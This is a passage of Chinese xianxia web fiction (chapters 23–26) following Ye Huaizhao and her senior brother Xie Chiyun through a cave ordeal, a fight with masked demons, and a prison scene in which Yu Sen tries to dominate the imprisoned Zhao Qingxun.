这几乎是意味着,那个人是与她截然不同、可又藕断丝连、最亲密而陌生的半身。 但叶怀昭之前很少感知到谢迟云的情绪,因为后者在意识到自己的心声可能泄露后,就刻意控制了自己的情绪。 蛊虫是情绪的外显,叶怀昭只能感受到他体内的蛊虫分外平静,和她体内偶尔夜间活跃得让人睡不着觉的蛊虫形成鲜明对比。 不过这都是叶怀昭的自我感知,她也曾好奇问过谢迟云,在他眼中自己的蛊虫是什么样的。 她说这话时正坐在自己的院中给他们两个人熬药喝,苦涩的药味顺着蒸腾的热气在空气中逸散,浓郁得让隔壁的桑春用灵盘叮叮咚咚地给她发消息。 叶怀昭早已对这种气味接受良好,但为了谢迟云着想,还是给他那边施了一道隔绝气味的术法。 但是谢迟云轻轻抬指,很快便将那道无形的屏障击碎。 他缓声说:“不必阻隔。” “师兄竟然不嫌这药味苦涩?”叶怀昭稀奇地说。 谢迟云失笑,没有回答这个问题,而是返过去说:“师妹体内的那只蛊虫,像是光。” “如火热烈,永不熄灭。” 然后他也礼尚往来,问叶怀昭觉得他体内的这只蛊虫是什么样子的。 叶怀昭心说你根本就不让我知道你的心声,我怎么能知道你体内的那只蛊虫是怎么样的? 她嘴上说我要好好想想,可还没等她思索出具体的回答,就被怒气冲冲的桑春找上了门,吵闹间很快就把这个问题抛之脑后。 而现在,攀着谢迟云的肩膀,颤抖着努力为他梳理灵力的叶怀昭心想,他体内的那只蛊虫像是海。 表面风平浪静,却有暗流撕扯出海底 的漩涡。只要有人不小心靠近,便会被拉扯着沉溺。 出于某种考虑,叶怀昭依旧没有点亮这处洞穴。 她在一波又一波的灵力中努力控制住自己的心神,艰难地从喉咙中挤出字句:“你,不要反抗我。” 梳理灵力首先要做的是她的灵识能进入到对方的灵脉中,可谢迟云嘴上说着信任她,想让她帮忙,却还是在叶怀昭的灵识试探性地接近他时下意识反抗。 他的灵识难得一见非常焦躁,甚至带着几分破坏欲。方才第一次接触失败时,谢迟云的灵识甚至差点把他们所在的洞穴轰塌。 叶怀昭没有办法,只好先让他吃了几颗安神丹,又临时封了几处穴位,勉强先将催情毒压下来。 但即便如此,谢迟云也不好受。 他克制着那股没有尽头的欲/望,额角青筋暴起,攥住身后石壁的手指骨节发白。 他闭着眼睛努力深呼吸了数次,才缓缓点头:“我尽量。” 叶怀昭于是开始第二次尝试。 她跪坐在谢迟云的面前,灵识试探性地去接触他的身体,在这一步还是顺利的,谢迟云默许了她的试探。 可下一步时,叶怀昭再一次被他拒之门外。 她拧着眉,在不得法的尝试中也开始浑身燥热,问他:“你之前不是让我的灵识进入你的灵脉探查过吗?为什么这一次不行?” 谢迟云沉默地看着她。 叶怀昭也没想得到他的回答,还在试探地安抚他躁动的灵力,忽然听到男人用喑哑的声音说:“师妹,帮我再拿一个东西吧。” 叶怀昭:“什么?” 谢迟云指导着,让她从自己的乾坤袋中摸索出一个小小的玉瓶,里面倒出来的药丸却让叶怀昭嗅了半天也没闻出来是什么。 她只好又问了一遍:“这是什么?” “是颂慈仙尊给我开的药。”谢迟云说。 我当然知道这是我师尊给你开的药,这种形状的玉瓶在我屋中摆满了整整一面墙。我想问的是你吃的是什么药。 叶怀昭在心中不满的想,可此时她也顾不上追问了,因为谢迟云根本连停顿都不带停顿,直接将倒出来一粒丹药咽了下去。 她恼怒地皱眉:“你怎么这就吃了?万一药效相冲怎么办?” “不会相冲的,”谢迟云轻声说,“师妹,继续吧。” 叶怀昭拗不过他,只好按照他的话继续试探。 但是这一次不知是那丹药作用还是什么原因,叶怀昭的灵识终于进入了他的灵脉,没有任何阻挡。 直到此时,她才缓缓松了一口气。 可她一抬眼,却发现谢迟云的鬓发都被汗水浸湿,抿着的双唇没有一丝血色。 叶怀昭眼皮一跳:“师兄,你还好吗?” 谢迟云呼出一口浊气,半阖着眼:“……不太好。” 叶怀昭在心中飞速思考。 她确定自己对灵脉的把握没有任何问题,而师兄身周的灵力波动已经在缓慢平复了,这证明不是灵力混乱的问题。 ……他身上只有两种问题,不是灵力混乱的问题,还能是什么的问题? 叶怀昭手一抖,灵识差点把对方的灵脉捅穿。 显然,谢迟云也知道自己现在的欲/望是从何而来。 他压抑地拧着眉,抬起湿漉漉的眼睫,哑着声音说:“再帮我拿一粒安神丹吧,师妹。” “不可以。”叶怀昭说,“你方才服用的安神丹是药效最烈性的了,不能吃这么多。” 她犹豫着,最终心一横,说:“我、我可以抱一下你。” 说罢,没等谢迟云的回答,她便向前倾身,低头环抱住他的肩膀。 她清晰地感觉到,自己手下的肌肉猛地绷紧了。 这是一个远比之前更加亲密的拥抱。 谢迟云向后倚靠在石壁上,而叶怀昭就跪坐在他的身前,向前倾身时柔软的脸颊贴着他滚烫的脖颈,湿热的呼吸洒在颈窝。 湿润的水汽慢慢淌过坚硬冰冷的石壁,远处暗河汩汩流淌,而这一次的无声依旧是只有两人交错的呼吸声。 可相较上一次,两道呼吸更加急促。 空气顺着鼻腔流入无法缓解,张开嘴也无法缓解,那股自心底燃起的燥热像是燎原般肆虐,热气自腹中一路燃烧,喧嚣着想要发泄。 谢迟云的灵力已经被梳理完毕,叶怀昭缓慢地收回灵识。 可她依旧一动不敢动。 她的额头贴着男人的颈窝,在满腔的檀木沉香中,忽地感觉有一只炽热的手掌,贴住了她的脊背。 “师妹,”那道喑哑的声音说,“你累了吗?” 叶怀昭:“没、没有。” “向后走一百步,左转,有一处供人歇息的居室。”谢迟云一字一句,声音温和地说,“去睡一觉吧,师妹。” 叶怀昭茫然地抬起头,只看到他清晰绷紧的下颌线:“那你怎么办,师兄?” 谢迟云垂下眼眸深深望着她,像是要将她的样貌完整清晰地刻入脑海中一样。 而后他站起身,低声说:“我等一会……就去找你。” 漆黑的洞穴延展,冰冷暗河的流水声将他的尾音淹没。 第24章 第二十四章【因为你。】 叶怀昭环抱着双膝坐在软榻上,下巴搁在膝头,望着前方发呆。 这处临时歇脚的居室不见天光,属于地底深处,湿冷幽暗的气息即便有着重重帷幕也没能阻挡。 谢迟云让她休息,但叶怀昭此时一丁点睡意也没有。 她只要一闭眼,就是方才师兄强硬地将她关在这里,然后转身向冰冷暗河走去的身影。 催情毒并非是完全无解的毒,它只是会强行催发出人内心深处潜藏的情欲,只要将其释放出来,根本不会对身体造成什么影响。 甚至若是修为水平足够高,灵力充足,也不是不能将其强行排出体内。 依照叶怀昭对自己师兄的了解,他一开始或许在幻境中中了催情毒,然后尝试着用灵力将其驱逐,不料魔气入体,不仅毒素没排出来就连灵力都混乱了,这才落得方才那样狼狈。 而现在他的灵力已经被叶怀昭梳理完毕,阻挡魔气入体的术法也已经提前落下,只剩下催情毒还未解决。 叶怀昭知道谢迟云要去做什么。 她只是不清楚对方到底要选择何种方法去解毒。 他究竟是顺其自然、将强行催生而起的燥热释放;还是忍受着暗河水流冰冷刺骨,将那毒素硬生生驱散…… 叶怀昭不知道,她也不敢知道。 厚重的石门在她的眼前被关上,不知是不是还封上了隔绝声音的阵法,洞穴中静悄悄的,就连河水哗哗流淌的声音都听不到。 她用自己的下巴磕着膝盖,滑下去时就再次放上,只能感受到蛊虫另一端罕见地有些焦躁,于是海水扬起一波又一波的浪潮,试图将所有靠近之人吞没。 她什么都听不到,可耳边似乎又总传来耳鸣似的嗡嗡声,模糊地似乎有人在叫她,专注时却又风平浪静。 ……到底要干什么! 叶怀昭烦躁郁闷地将双腿放下,心想她这次出门真是流年不顺,怎么总是遇到这种事情,回头要不要去找个命修帮她改改运势。 而后她又想,谢迟云这人真够能忍的。灵力混乱这种几乎要将灵脉撑碎的疼痛竟然也能拖到最后才说出来。 如果她最后没有和他剖白内心,说自己想让他多信任一点,是不是他都能忍到出了洞穴都不吭一声的? 说自己受伤了、需要帮忙能死吗? 她忍了又忍,还是没忍住去踹了一脚石门,小声骂道:“疼死你算了。” 石门发出一声沉闷的响声,像是在回应着她的抱怨。 但叶怀昭刻意等了一会儿,依旧没 听到石门后传来什么声音,于是撇撇嘴,无聊地重新坐回软榻。 这一次她换了个姿势,盘着腿开始玩灵盘转移注意力。 她照例给自己相聚千里的某位仙友发消息轰炸。 【在不在在不在,起来聊天。】 这条消息她不厌其烦地发了十几遍,终于在第十八遍时,灵盘发出一声嗡鸣。 【?】 对方说:【你又被关禁闭了?】 叶怀昭回复没有,敲字时又想起上次和他聊了一半被谢迟云闯进来的事情。 想到对方当时似是早有预料的态度,叶怀昭问他:【你怎么知道我师兄会来澡雪堂来找我?】 【废话。】 对方也慢吞吞敲字:【你被关禁闭的时候,他哪次没来找过你?】 叶怀昭摩挲灵盘的手指一顿。 她想起来自己之前在心中疑惑谢迟云到底是怎么做到破解澡雪堂符文的,他说多试几次就会了。 ——这所谓的多试几次,难道是从她被关禁闭的经历中试出来的? 也就是说,他没有总是在别人关禁闭时去帮忙送饭? 叶怀昭的心情微妙地好了一些。 她心情好,敲字时的动作也就越发轻快,很快就接着问道:【他之前一年中被关了二十三次禁闭又是为了什么?】 她想了想,又补充说:【别拿那些场面话来糊弄我。我知道他是被我爹和我师尊关的禁闭。】 这一次对方许久没有回复。 但叶怀昭很有耐心地盯着灵盘,眼睛一眨不眨。 片刻后,嗡嗡的声音在她的掌心震动,少女的眼眸中映出她心底的猜测。 【因为你。】- 冰冷刺骨的地下暗河中,忽地响起哗啦哗啦的破水声。 银色的灵力光芒自黑暗水面中浮现,像是地下的萤火,散发着幽冷的气息。 水花溅落,一道人影慢慢自暗河中走出。 那人衣衫尽湿,乌黑长发湿漉漉地散在脑后,水滴顺着肌理分明的肩背滚落,在岸边洇染出深色印迹。 他在岸边站定,没有第一时间掐诀散去水汽,而是任由冰冷的河水浸透肌肤,将那些燥热的情欲慢慢压下。 银色的灵力在他的指间缠绕,明明暗暗间,男人忽地向旁瞥了一眼,开口说:“出来。” 暗河潺潺流淌,水声在幽深洞穴中响起些微的回声,却又被拐角处的阵法尽数拦下。 河流的波涛在石壁上落下张牙舞爪的影子,时起时落间,一个一身黑衣、几乎要与黑暗融为一体的人慢慢自阴影中走出。 他低头,单膝跪在了谢迟云的面前。 “属下知错,请大人责罚。”他说。 “责罚?”谢迟云轻笑一声,垂眼看着他,“你何错之有?” 他弯着眼,声音堪称温和,像是在和人随口闲聊般轻松自然。 可就是这样的语气,却让跪在地上的黑衣人毛骨悚然,一只无形的大手缓慢地圈住他的脖颈,窒息的感觉慢慢地笼罩他的大脑。 黑衣人保持着几近于无的呼吸,自喉咙中挤出声音:“属下应该拦住叶小姐,不该让叶小姐卷入此次事件。” “你本就拦不住她。”谢迟云说。 叶怀昭是个不达目的誓不罢休的人。 她拥有得天独厚的天赋、拥有旺盛的好奇心、拥有充沛的精力。 只要她想做的事情,基本上都会如愿达成。 谢迟云并不讨厌她的这种性格,或者说叶怀昭身上的一切,包括那些常被外人诟病的缺点,在他看来都不是什么大不了的事。 可他偶尔也会为她这股执拗的探索欲而感到头疼。 尤其是当他做的事情暂且还不想让自己师妹知道的时候。 “她想做的事情我都拦不住,你又如何能拦住呢?”他似是叹息般轻声说道。 黑衣人跪在地上的身体开始颤抖,他将头埋得更低,强行压下自己颤抖的声音。 “是属下管教不力,让徐规被人带走,打乱了大人的计划。”他说,“属下已经责罚那人了,徐规什么都不会知道。” 谢迟云浅色冰冷的眼眸中映着黑衣人的身影,慢慢说:“这倒是一处错误。” 没等黑衣人松气,谢迟云温和的声音便如催命符般接着响起:“但这并非最重要的错误。” 计划被打乱,这是常有的事情。 正如谢迟云本来没想那么早地进入叶怀昭的视野,可季衡远想做的事情踩到了他的底线,为了将他挫骨扬灰,谢迟云只能亲自去做那件事。 而只要叶怀昭注意到了他,无论是他还是师妹,就都不会再次放手。 从他将季衡远扔进封魔潭、动身前往丹河秘境那刻,谢迟云最初的计划便被彻底打乱。 而之后发生的事情更是如脱缰野马般,谁也无法预料。 叶怀昭会来乐寿城找他是一件既定的事实,唯一不确定的只在于她何时到来。 至于徐规,他是否找魔族绑架做戏、是否想要谋取城主之位、甚至是生是死……对谢迟云而言,这并不重要。 只要结果如常得到,谢迟云不在意中间过程如何。 他不在意,依旧跪在地上的黑衣人却不能不在意。 他身上的冷汗几乎要将衣物浸透,大脑飞速转动,绞尽脑汁地思考自己究竟还有什么地方有纰漏,让这位大人如此不满。 流水裹挟着时间悄然流走,掀起的波浪打在岸边的巨石上,溅落细碎的水珠。 谢迟云微微抬手,终于将自己身上的水汽蒸发,重新将视线落在黑衣人身上。 “还不知道?”他说。 黑衣人喉咙发紧,他的眼角余光瞥见几道细碎的银色光芒,而水滴在凹凸不平的地面上滚落,渐渐积成水洼。 电光石火间,他忽然意识到了什么。 “属下……属下不该用幻境阻拦您和叶小姐。” 脱口而出这句话后,洞穴中骤然陷入沉默的无声。 跪在地上的黑衣人内心忐忑不安,几乎以为自己又一次猜错了,才听到谢迟云缓声说:“你不该用我的幻象去阻拦我的师妹。” “你不该让她在此时对我产生怀疑。” 他已然恢复了乘玉仙君一尘不染、矜贵端庄的装束,走过黑衣人时洁白衣角划过他的视野,声音自远端飘来。 “自去领罚吧。” 黑衣人深深叩首:“……是。”- 石门轰隆震动,谢迟云走时留下的阵法凭空破碎,银色碎光混着微小的尘埃自石门边缘处落下。 盘腿坐在软榻上的叶怀昭回头,恰好与外方的白衣青年对视。 她眨了一下眼睛,看到自己的师兄像是往常一样向她轻轻颔首,温声说:“师妹。” 叶怀昭歪头看了他几瞬,旋即从软榻上跳下来,脚步轻快走到他的身前。 “解决了?”她例行公事般询问,看到谢迟云点头后,少女率先走出石门,“那走吧,徐规还没找到呢。” 他们谁都没有提及方才发生的事情。 谢迟云没有询问她方才用灵盘在和谁交流。 叶怀昭也没有问他为何在暗河中待了整整一个时辰。 他们迈过石门,重新走到没有光亮的幽深洞穴中,面不改色地越过那熟悉的阴影角落。 可无论是叶怀昭还是谢迟云,他们都知道。 某些事情已经悄然改变了。 第25章 第二十五章意外 叶怀昭走了将近半刻钟,一路解决了不少陷阱和妖兽,才终于找到了失踪已久的徐规。 他被锁在一处四面石壁的地洞中,低垂着头颅,原本精致华贵的衣袍如今破破烂烂地挂在身上,身上沾着血污,苍白的脸上是一副命不久矣的样子。 叶怀昭走过去看了他两眼,然后无语地撇了撇嘴,伸手拍拍他的脸:“喂 ,醒醒。” 挂在锁链上的人没有动弹。 叶怀昭翻了个白眼,伸手拍在他的后背,清晰的巴掌声和少年的惨叫声同时响起。 “谁啊?!”徐规痛得泪花都出来了,被这一巴掌打得眼前一黑,觉得自己睁开眼睛和没睁开眼睛没有区别。 “你姑奶奶。”叶怀昭懒洋洋说。 徐规心想我姑奶奶她老人家早就驾鹤登仙了,难不成是见孙子命不久矣于是亲自来接他了? 想着想着,又是一巴掌措不及防地拍在他的后背。 重力之下,徐规不受控制“哇”地一声,吐出几口混着漆黑鲜血的脏水。 叶怀昭嫌弃地向旁边走了一步,手指微挑,几根细如发丝的银线在她的手中展开,精准地扎进少年的穴位。 徐规又向外吐出几口水,像是要将积压于胸腔中让他呼吸困难的浊物尽数呕出来一般。 叶怀昭观察了片刻,确认他身体没什么大碍后才将银线收回,随手将束缚他的锁链斩断。 少年嘭地一声瘫软在地上。 片刻后,他终于勉强从那种窒息的痛苦中缓过来。 “两位是……长风门的仙君?”他声音虚弱地问道。 叶怀昭没回答他的问题,而是似笑非笑说:“你雇来的魔族还挺尽责的,做戏做得这么全套。” 徐规一口气没上来,顿时咳得惊天动地,喘着气结结巴巴说:“你、你怎么知道的?” 然而说出这话的少女却挑了挑眉,眼睛因为惊异而微微睁大。 “原来真是你自己绑了自己啊?”她用一种惊奇的语气说。 徐规:“……” 合着你也根本不知道啊! 被如此简单地炸出目的,他顿时两眼一黑,差点再次晕过去。 一身桃红衣裙的少女再次甩过去一根银线,硬生生将他的神智拽了回来。 “别晕,”叶怀昭冷酷说,“先把事情说清楚了再晕。” 徐规更想晕了。 但在叶怀昭的死亡注视下,他还是努力撑住了自己脆弱的意志力,断断续续地向他们说明了自己的情况。 他首先告诉叶怀昭的是,此时的乐寿城中存在着目的不同的两方魔族。 一方是杀死那些失踪之人的真凶。他们在不久前来到乐寿城,替雇佣他们的人解决买家想杀死的人。 而另一方则是徐规雇佣的魔族。他们长久居住在乐寿城附近,平日里从事些倒卖魔界物件的活计,虽然不在明面中出现,但城中有些权势的家族都知道他们的存在。 叶怀昭:“那你雇佣的魔族现在在何处?” 徐规抓了抓凌乱的头发,郁闷说:“我也不知道。” “我给他钱,让他做出把我绑走的假象,但是他把我带到这里后就不知道去了哪里。在你们来之前他回来过一趟,说要伪装得像一点,然后把我揍了一顿后又跑了。” 说到这里时,他愤愤道:“下次见到他我一定把他狠狠揍一顿,说好的做戏竟然把本少爷往死里打,有这么对待给他花钱之人的吗?!” 叶怀昭瞥了他细胳膊细腿、灵力微弱的样子,说:“有没有可能只是你太不抗揍了呢?” 徐规:“……不可能!” 他不服气地就想和叶怀昭辩论一番,话刚说出半句就被她瞥了一眼,只好缩着肩膀咽回那句话。 谢迟云没有忘记正事,重新将话题扯回正轨:“你为何要让魔族和你做戏?你知道雇佣魔族的人是谁?” 前一刻还憋屈得涨红脸的少年一顿,他转过头,看向出声的谢迟云。 停顿半晌后,他说:“在回答这个问题前,我可否先问仙君一个问题?” 谢迟云:“何事?” 徐规抹了一把自己脏兮兮的脸,认真看着他道:“阿洵怎样了?” 叶怀昭环胸抱臂,侧目望了他一眼,没有说话。 但是谢迟云像是不受影响般,依旧语气平静道:“你的兄长找到了她雇佣魔族杀人的证据,在我们来之前将她关入牢狱了。” 他停顿一瞬后,说:“若是没有其他证据出现,不日她便会被处决。” “真的?” 徐规一个箭步冲到谢迟云的面前,想要抓着他的胳膊却被对方巧妙地躲过,即便这样也没让他眼中的兴奋落下。 他话语的内容明明是在担心赵清浔,可语气却与之截然相反。 “我兄长是不是拿着庾慎提供的证据给阿洵定罪的?” 谢迟云微微眯起眼眸,审视地盯着他脸上的激动神色,慢慢说:“正是。” “那太好了!”徐规一反常态地长长松了一口气,眼睛亮晶晶说,“好歹我没有白挨一顿揍。” 他转头看向叶怀昭,主动说:“仙君我们什么时候回去?” 叶怀昭手中的银线没有收回,而是有一搭没一搭地绕在手腕上,闻言微妙地轻笑一声。 “什么时候回去,那就要问问我们身后的那位魔族大人了。” 话音落下,她忽地瞬影移至徐规的身旁,一把揪住他的衣领便向旁边甩去! “嘭”的一声巨响,徐规大脑嗡嗡响,几乎以为那是自己骨头全部折断的声音。 但他疼得下意识地去摸自己的脑袋,手指碰到额头的那刻才反应过来那道巨响并不是从他的身上传来。 少年呆呆地抬起眼睛,尘土纷扬间,看见自己原本站立的地方被一柄巨剑砸出了一个深深的巨坑。 叶怀昭踩在虚空中,目光不善地看向慢慢自地洞入口处走来的人—— 或者说,是一群头戴鬼首面具的魔族。 她扯了扯唇角,讥讽说:“躲了这么久,终于舍得现身了?” 为首的魔族身披猩红色斗篷,自胸膛中发出低沉笑声。 他微微转头,鬼首面具上黑洞洞的“眼睛”看向桃红衣裙的少女:“叶仙君似乎一点也不惊讶?” “有什么好惊讶的?”叶怀昭说,“你们以为自己身上的魔气隐藏得很好吗?” 魔族似是感叹般说道:“颂慈仙尊果真妙手回春,原以为叶仙君只能如行尸走肉般痴傻地躺一辈子,没成想您的感知竟还是如此敏锐。” 面对少女冰冷的目光,他不避不让,声音似笑非笑:“无忘川的炼狱之火,您可还记得吗?” 当世大陆共有三处有去无回的死亡之地。 一处是位于北境极寒之地的白仙府。 一处是位于深海的玉水洞。 最后一处,便是魔界坤脉所在之地,无忘川。 十里白雪路,十里妖魔道,烈火终年不灭,凡闯入者皆生不如死、有去无回。 一年前,长风门掌门之女叶怀昭被魔族绑架带走,将其扔去了魔界无忘川。 无人知道她在其中经历了什么,也没人知道她究竟是怎样从那炼狱之地活着出来的。 世人只知在那之后叶怀昭整整一年没有出现在世人眼中,而长风门掌门暴怒,若是没有青冥台的仙首亲自赶到南境劝阻,或许人魔两族之战早在一年前便打响了。 叶怀昭面无表情地盯着故意说出此话的魔族。 她对于一年前发生在自己身上的事情其实并没有其他人所想的那般在意。 原因很简单——她根本就没有那段记忆。 什么痛苦、挣扎、绝望……这些记忆随着最后出现的一道白光通通散去。只有炼狱之火烤炙、无法痊愈的烧伤提醒她,自己曾真实地去过那里。 可她不在意,不代表就会接受他人的嘲讽。 “我改变主意了。” 叶怀昭转了转自己的手腕,赤色的灵力在空气中凝实,地洞中的温度迅速拔升。 她冷笑一声:“今日我就让你真的‘有去无回’。” 话音落下,属于叶怀昭的灵力瞬间暴起,赤鸟啼鸣一声,携带的火焰铺天盖地攻向立于地洞入口的红袍魔族。 红袍魔族对她的愤怒早有戒备,当下便运气阻挡,可在魔气与灵力接触的一瞬间猛地意识到不对,迅速换法后撤。 ——烈火之中,一道刺目凌厉的剑气同时势不可挡地攻向红袍魔族。 这道剑 气根本毫无预兆,红袍魔族瞳孔骤然紧缩,在剑气逼近的前一刻险而又险地召回重剑阻挡,却依旧被“嘭”的一声击退数步。 谁都没料到谢迟云与叶怀昭同时动手,就连叶怀昭本人都怔愣一瞬,侧目诧异地看向旁边的男人。 他怎么动手比她都快? 而在看清谢迟云神色那刻,叶怀昭的思绪微微一顿。 ——他怎么看起来比她这个当事人还不高兴? 无忘川的事情也对他有影响? 叶怀昭的思绪转得飞快,就在她努力思考谢迟云和无忘川的关系时,被她思考的本人也在和那魔族对峙。 一身白衣的乘玉仙君手持一把薄如蝉翼的长剑,含着冰冷笑意看着警惕盯着他的魔族。 “师妹记不记得无忘川之事,与你有什么干系?” 银色的灵力在他的身周环绕,叶怀昭的长剑在谢迟云的手中发出嗡嗡的震动,像是兴奋的呼吸。 他抬起眼睫,慢慢说:“你只需知道,今日便是死期。” 魔族伸手擦过自己虎口处被震裂的伤口,嗜血的眼眸紧紧盯着说出此话的男人。 话不投机半句多,他冷笑一声,挥手下令道:“动手!” 他身后的魔族同时动作,漆黑的魔气瞬间充斥整个地洞,灵力与魔气碰撞,无数道术法炸起。 紧紧贴在石壁边缘的徐规瑟瑟发抖地看着眼前的一幕,他尽力地缩小存在感,向后一寸一寸地挪着身体。 可忽然间,少年发出一声凄厉的惨叫声。 他的五官七窍同时流出鲜血,像是控制不住般地将自己的头重重砸向地面,不到片刻便是血肉模糊。 刚刚展开毒雾的叶怀昭拧眉,抬脚就要过去救他,身后忽地响起无数声凄惨嘶吼的冤魂叫声。 所有人的脚下迅速旋转着升起一道黑白倒置的太极八卦阵,“震”字在一瞬间亮起猩红色的刺目光芒! 地洞之上,阴云在半空中涌动,云层中忽地亮起一道刺目白光。 而后,银龙轰隆一声砸向地面、穿透地层、在地洞中炸起巨大的爆鸣之声。 整个地洞开始崩塌,无数碎石滚动间,魔族阴森的声音一字一顿响起: “孰生孰死——可不是由你们说的算!” 第26章 第二十六章“诶,庾慎死了?”…… 乐寿城牢狱中,满脸倦怠的狱卒一脚撑在破破烂烂的桌上,仰着头打了个哈欠。 身后的鬼哭狼嚎吵得他脑瓜子嗡嗡响,狱卒不耐烦地一拍桌子,骂道:“叫什么叫?赶着去投胎啊?!” 那些嚎天喊地的声音顿时像是被掐住喉咙般戛然而止了,可没过一会,再次传来呜呜咽咽的泣音。 狱卒:“……” 他“嘿”了一声,放下脚转身就要去踹那一身反骨的囚犯,身后忽地响起一道重重的咳嗽声。 狱卒转过头,瞧见来接班的同伴使劲给他眨眼,故意抬高声音说:“干什么呢你?怎么来人了都不知道?” 在他的身边,一名身穿鸦青色锦袍的年轻公子淡淡瞥了狱卒一眼,眼神中是视若无物的漠然。 但狱卒却陡然打了个激灵,几步过去谄媚道:“小人方才眼拙,没瞧见竟然是庾大公子来了!” 他小心翼翼问:“您来这里,是为何事?” 庾慎没有回答,反倒是跟在他身边的狱卒瞪了他一眼:“庾公子来这里做什么凭何告诉你?” 他伸出手,理所当然说:“赶紧的,把最里面那间牢房的钥匙拿来。” 狱卒挠了挠头,想说最里面那间牢房住的人可是特意吩咐不许旁人接近的,话刚开了个头,就见说出此话的狱卒对他比了一个搓手的动作。 他停顿一瞬,若无其事地将话头全部咽了回去。 “庾大公子,我这就带您过去。”他谄媚地说。 黄铜钥匙在行走间发出叮叮当当的响声,烛光在潮湿污浊的石壁上落下明明暗暗的影子。 一双又一双满是浓烈恶意的眼眸在两旁黑暗的阴影中闪烁着猩红色的光,他们的嘴角带着诡异痴傻的笑,看见那一身华贵的公子最终在牢狱尽头停下。 老鼠窸窸窣窣地叼着腐肉窜进砖缝,而牢房的前端,庾慎抬步走了进去。 年轻公子转眼,望着环膝坐在草席上的少女轻声叫道:“阿浔。” 赵清浔从自己的膝盖中抬起头,眼睛因为明亮的烛光而不适应地眯了眯,可却听出了那人的声音,于是不可置信地迟疑说:“……庾公子?” 烛光在两人之间拉出一道清晰的分界线。 站立的男人衣衫华贵,清俊温和;而坐在草席上的少女穿着脏兮兮的囚服,面色惨白。 赵清洵的眼睛还未适应光亮,眼前模糊的轮廓便俯下身子,她被拥入一个沾染着华贵香料气息的怀抱。 “抱歉,我来晚了。”低沉的声音在她的耳边响起,带着一如既往的安抚意味。 他的身上很是温暖,暖融融的温度自两人相贴的肌肤处慢慢传递,赵清洵冰凉的双手被他爱怜地握在手中。 她任由对方抱着自己,直到庾慎想要侧首亲吻她的侧脸时,才向旁偏转了头颅。 庾慎的动作骤然一顿。 烛光摇曳,男人眉眼间的轮廓落下深刻的阴影,眼眸晦暗不清。 半晌,他忽地抬手将少女散开的一缕发丝挑起,轻轻别到耳后。 “阿浔是在怨我?”他轻声问道。 赵清浔没有看他。 她盯着墙壁上点亮的烛光,声音平静说:“我一介罪人,怎敢怨恨庾大公子呢?” 庾慎盯着她的侧脸,目光幽暗。 倏地,他轻声笑了一下,抬手强硬地将她的脸扳过来。 他直视着那双猩红色的眼眸,说道:“我没有别的办法了,阿浔。” 赵清浔:“——将那些罪名按在我的身上,就是你想出的没有办法的方法吗?!” 她一把将男人推开,单薄瘦弱的肩膀不受控制地颤抖着,湿润的水汽在那双漂亮的眼眸中凝聚,却被她强行忍住没有落下。 她深吸一口气,尾音发颤地说:“阿莹她才只有十六岁……活生生将她的记忆扭曲改变,你究竟还有什么做不出的?!” “你在意的是那个婢女?”庾慎被她推开时的脸色很是不好,可听到这番话后竟然松开蹙起的眉头,语气轻松说,“那是我之前送给你的婢女,你若是用惯了不想换,我再给你送去一个和她样貌相似的便是。” 赵清浔愤怒的神色倏地一滞。 她忽然感到一种莫大的荒谬。 阿莹是他为了和她及时联系所以特意从庾府送来的婢女,阿燕虽然知道她和庾慎的事情,可阿莹与庾慎接触的更多。 她想过庾慎或许会对自己动手,于是将知道更多事情的阿莹送出城,幻想着庾慎念及旧情,默许让她回乡远离。 可她忘了,庾家大公子根本就是一个彻头彻尾、冷心冷肺的混账。 她长久地没有说话,庾慎以为她是默认了自己的话语,于是心情不错地从怀中拿出来被丝帛包裹的翠玉手镯,拉着她的手动作轻柔地戴上去。 他满意地看了看,说:“其他的东西扔就扔了,这翠玉镯子可是要好好戴着。这是我从母亲那里拿来传家的镯子,特意没给你姐姐。” “庾慎。” 男人没有理会她,接着拿出几张符箓说道:“稍后我会把这几道符箓贴在你的身上,然后你便随我离开这里。我已经在城外给你安置了一处院落了,要委屈阿浔在那里待上几个月,等魔族的事情结束,我便将你接到庾府。” “庾慎!” 他沉吟着思考片刻,像是想起来什么似是接着说:“你姐姐那边我会去说服她的,我后院中没有多少人,你愿意住在哪里都可以。只是阿浔这个名字最好要改一下,虽然只要将徐家的……” 他早已陷入了自己的幻想,任凭赵清浔叫了他多少遍都没有回应。 少女安静下来,她面无表情地盯了男人几 瞬,忽地毫无征兆地将玉镯从手上猛地扯下来,狠狠摔在地上! “咔嚓——” 水色莹润的翠玉镯子在脏污的地面上,嘭然破碎。 前一刻还在自顾自说话的男人声音顿住,话语戛然而止。 他脸上的笑意一点一点散去,盯着紧紧抿唇的少女。 “阿浔这是何意?” “——我是何意?”赵清浔不避不让地与他对视,“你又是何意?” 她的胸膛因为愤怒而迅速起伏着,眼中的怒火几欲喷出:“你将我送入牢狱、逼我认下罪行——然后呢?让我金蝉脱壳、舍弃姓名身份、再被你一辈子藏在后院中?!” 庾慎看着她,缓缓说:“阿洵,我不会让你死。你只需认下罪行,其余事情我都可以为你解决。” 他抬起手,像是要去抚摸少女的发丝,俊秀的脸上露出一抹温柔的笑:“——就像我之前为你解决困境一样。” 庾慎很喜欢看赵清浔惶恐无措望着他的样子。 他总是长久地感到不安,长久地觉得赵清浔终有一日会离他远去,他得到了很多,却总是想掌控更多。 他知道,如果赵清浔对他畏惧,那便意味着他所掌握的权力让她感到畏惧。 他享受着这种错位的快感,他喜欢赵清浔因为他而感到恐惧,因为这是他依旧能够掌控她的证明。 ——而现在,他依旧妄图掌控她的愤怒。 然而赵清洵却“啪”地一声拍开他的手,后退一步。 她盯着他,眼中猩红色的幽火燃烧,一字一顿、决然地说:“我、不、认、罪。” 空气在这一瞬似乎都凝结了,牢房远端的呜咽声幽幽传来,如泣如诉。 说出这话时,少女的眼中似乎闪过了多年前她撑着树枝,趴在墙头向外望去的黄昏。 日落归于西山,黑暗笼罩赵家府邸。微冷的风卷过她破烂的衣袖,露出青紫的伤口。 一瓶疗伤的药被灵力摇摇晃晃地送到她的面前,她低下头,看到那个面容稚嫩的少年踮着脚,对她露出一个灿烂的笑。 他说:我会救你的,阿浔。 他的确救了她无数次,从她长姐的手中、从她父亲的手中、从魔族的手中…… 他明明有着改变一切的能力,却从不会完完全全地将她从泥潭中救出来,他依旧想让她永远在泥潭中沉沦。 因为他享受可以随时改变她的人生、掌握她生死的快感。 他在意她,可又不在意她。 他说我爱你,阿浔,你也爱我好不好? 可很多时候,赵清浔又觉得,他想要的并不是她的爱。 他最想要的,是她铭心镂骨、铭诸肺腑的恨。 